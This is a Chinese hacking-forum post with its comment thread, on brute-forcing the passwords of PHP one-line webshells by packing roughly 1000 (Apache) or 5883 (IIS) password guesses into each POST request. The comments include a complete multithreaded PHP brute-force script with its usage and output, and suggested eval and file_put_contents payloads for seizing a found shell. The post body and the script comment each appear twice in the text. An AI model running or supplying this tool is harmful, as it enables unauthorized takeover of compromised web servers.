让你的一句话爆破速度提升千倍
TCV=0
【序】
对于一句话大家都不陌生,有时会需要爆破。爆破的速度和目标的响应速度就有很大的关系了。
那如果我们爆破的速度可以提升1000倍呢?
【正文】
首先如图1↓
如果这个变量等于密码的时候,我们的语句就会被传参带入执行,那如果我们批量提交(即a=echo "ok";&b=echo "ok";&c=echo "ok";&....)呢?
只要我们提交的参数中含有实际的参数,就可被接收。
但是会有一定的限制↓
Apache下 默认同时允许接收1000个参数 图4
IIS下 默认同时允许接收5883个参数 图2 图3
注:可在配置文件中修改,以上情况是默认。
那就是说我们爆破的速度可以提升一千倍甚至五千多倍。从而实现秒爆10W字典甚至百万字典。
【个人实现原理】
花了几个小时写了个工具,
例如Apache环境↓
1.导入10W字典后按照数量1000分割
这样如果密码存在于字典,100次即可探测到密码实际存在的位置
2.文本处理(密码定位)
把密码的位置 100行字典,循环判断首或单纯的循环 不到10次即可得到密码
所以10W的字典,实际最大提交理论上不会超过110次即可得到和跑10W次一样的效果。
那么IIS下速度就更快了,速度是Apache的五倍左右。
10W字典本地测试
10W字典远程服务器测试
工具没多少技术含量,所以不发出来了。
1.未完善(有空增加各种搭建平台)
2.有了思路写起来很简单。
好了,汇报结束。
【序】
对于一句话大家都不陌生,有时会需要爆破。爆破的速度和目标的响应速度就有很大的关系了。
那如果我们爆破的速度可以提升1000倍呢?
【正文】
首先如图1↓
变量=echo "ok";
只要我们提交的参数中含有实际的参数,就可被接收。
但是会有一定的限制↓
Apache下 默认同时允许接收1000个参数 图4
IIS下 默认同时允许接收5883个参数 图2 图3
注:可在配置文件中修改,以上情况是默认。
那就是说我们爆破的速度可以提升一千倍甚至五千多倍。从而实现秒爆10W字典甚至百万字典。
【个人实现原理】
花了几个小时写了个工具,
例如Apache环境↓
1.导入10W字典后按照数量1000分割
这样如果密码存在于字典,100次即可探测到密码实际存在的位置
2.文本处理(密码定位)
把密码的位置 100行字典,循环判断首或单纯的循环 不到10次即可得到密码
所以10W的字典,实际最大提交理论上不会超过110次即可得到和跑10W次一样的效果。
那么IIS下速度就更快了,速度是Apache的五倍左右。
10W字典本地测试
10W字典远程服务器测试
工具没多少技术含量,所以不发出来了。
1.未完善(有空增加各种搭建平台)
2.有了思路写起来很简单。
好了,汇报结束。
评论92次
+1 感觉没必要PY
“多线程中的多线程”
随手拿硬盘里面的代码复制粘贴 改了一下感觉还可以用hashcat的example.dict字典 12w 只用了0.7秒<?php//error_reporting(0); //不显示错误$stime=microtime(true);ini_set('memory_limit',-1); //内存设置最高require("RollingCurl.php"); //载入多线程类function request_callback($response) {if(!strpos($response,'OK')){echo $response;}}function get_s($pass, $server = 'iis'){ if ($server == 'iis') { $num = 1000; } else { $num = 5000; } $a1 = explode("\n", $pass); $bb = ''; for ($i = 0; $i <= count($a1) - 1; $i++) { $bb .= "echo \"OK-{$i}-$a1\";" . "\n"; } $b1 = explode("\n", $bb); array_pop($b1); return array_chunk(array_combine($a1, $b1), $num, true);}$rc = new RollingCurl("request_callback");$threads=10; //线程$timeout=100; //设置超时$rc = new RollingCurl("request_callback");$rc->window_size = $threads; //设置线程$rc->timeout = $timeout; //设置超时$method='POST';$pass=file_get_contents('example.dict');$o=get_s($pass);for($i=0;$i<=count($o)-1;$i++){$url=$argv;$data_1=http_build_query($o);$request = new RollingCurlRequest($url,$method); //CURLOPT_FOLLOWLOCATION=>1 自动跳转 为0 不跳转$request->options = array(CURLOPT_FOLLOWLOCATION => 0, CURLOPT_NOBODY => 0, CURLOPT_HEADER => 0, CURLOPT_COOKIE => "PHPSESSID=8058685_7ee0852a467e76eba1044bcca08fb68a;", CURLOPT_POSTFIELDS => $data_1 ); $rc->add($request);}$rc->execute();$etime=microtime(true);//获取程序执行结束的时间$total=$etime-$stime;echo "\r\n".$total;?>php 1.php http://xxx.x.x.x/1.phpOK-129987-zzzzzzzzzzz0.73481416702271
大牛你代码里的判断有点错误吧,那个if,根据楼主的说明是apache是1000个参数,iis是5883个参数。所以代码里判断要是iis的话应该进5000那个吧。
本地没iis环境所以!== 判断改成了== 默认1000 影响不大{其实另一个原因考虑到waf限制长度 稳定起见} 这个function就是给看到的人用到自己的程序里面的例子 没看到的只能说他们不看后面评论 论坛里面大部分是单线程+除法取余运算 其实还可以用chunk分块函数 来分布式 不知道为什么那么多人痴迷py py的zz多线程也不知道说什么好 轮子人人造 仁者见仁,智者见智 学xi别人的工具取长补短才能完善自己的见解
思路很好 学到了
不错
随手拿硬盘里面的代码复制粘贴 改了一下感觉还可以用hashcat的example.dict字典 12w 只用了0.7秒<?php//error_reporting(0); //不显示错误$stime=microtime(true);ini_set('memory_limit',-1); //内存设置最高require("RollingCurl.php"); //载入多线程类function request_callback($response) {if(!strpos($response,'OK')){echo $response;}}function get_s($pass, $server = 'iis'){ if ($server == 'iis') { $num = 1000; } else { $num = 5000; } $a1 = explode("\n", $pass); $bb = ''; for ($i = 0; $i <= count($a1) - 1; $i++) { $bb .= "echo \"OK-{$i}-$a1\";" . "\n"; } $b1 = explode("\n", $bb); array_pop($b1); return array_chunk(array_combine($a1, $b1), $num, true);}$rc = new RollingCurl("request_callback");$threads=10; //线程$timeout=100; //设置超时$rc = new RollingCurl("request_callback");$rc->window_size = $threads; //设置线程$rc->timeout = $timeout; //设置超时$method='POST';$pass=file_get_contents('example.dict');$o=get_s($pass);for($i=0;$i<=count($o)-1;$i++){$url=$argv;$data_1=http_build_query($o);$request = new RollingCurlRequest($url,$method); //CURLOPT_FOLLOWLOCATION=>1 自动跳转 为0 不跳转$request->options = array(CURLOPT_FOLLOWLOCATION => 0, CURLOPT_NOBODY => 0, CURLOPT_HEADER => 0, CURLOPT_COOKIE => "PHPSESSID=8058685_7ee0852a467e76eba1044bcca08fb68a;", CURLOPT_POSTFIELDS => $data_1 ); $rc->add($request);}$rc->execute();$etime=microtime(true);//获取程序执行结束的时间$total=$etime-$stime;echo "\r\n".$total;?>php 1.php http://xxx.x.x.x/1.phpOK-129987-zzzzzzzzzzz0.73481416702271
大牛你代码里的判断有点错误吧,那个if,根据楼主的说明是apache是1000个参数,iis是5883个参数。所以代码里判断要是iis的话应该进5000那个吧。
思路不错 一次请求带多个密码
第一次听到这样的思路,以后就不用一个一个试密码了,多谢楼主的思路
之前遇到跑字典的基本放弃了。感觉要跑到天荒地老,这个方法比较【惊奇】。
变量=echo "变量"; 都不用搞什么二分法 一次过就可以了
只能用在一句话,指定key的场景就用不到了,不过这个真的很赞
方法很有意思 有时候能节省不少时间
恩路不错,以前爆慢的不行了。
怎么有办法判断是否是一句话呢
速度还可以更快,分成1000份后,如果存在正确的密码的话代码就会被执行,所以换个思路,为什么要用echo 'ok';呢?换个思路,file_put_contents('./1.txt','shell'); or echo file_get_contenst('./shell.php') 岂不是省去了密码定位这个步骤么。考虑到这样发的话post内容就会变多,导致速度可能会变慢可以试试这样http://localhost/shell.php?a=print(file_get_contents('./shell.php'));posta=eval($_GET);&b=eval($_GET);&.....
我觉得你这个思路可以再开一篇帖子了。很赞。
简言之:利用参数多了不报错,且只要包含有接受参数就处理的特性。
牛逼卧槽。66666666666666666666
变量=echo "变量"; 这样更快
这个不错,拿走修改成python版本去。谢谢
hackbar 很炫啊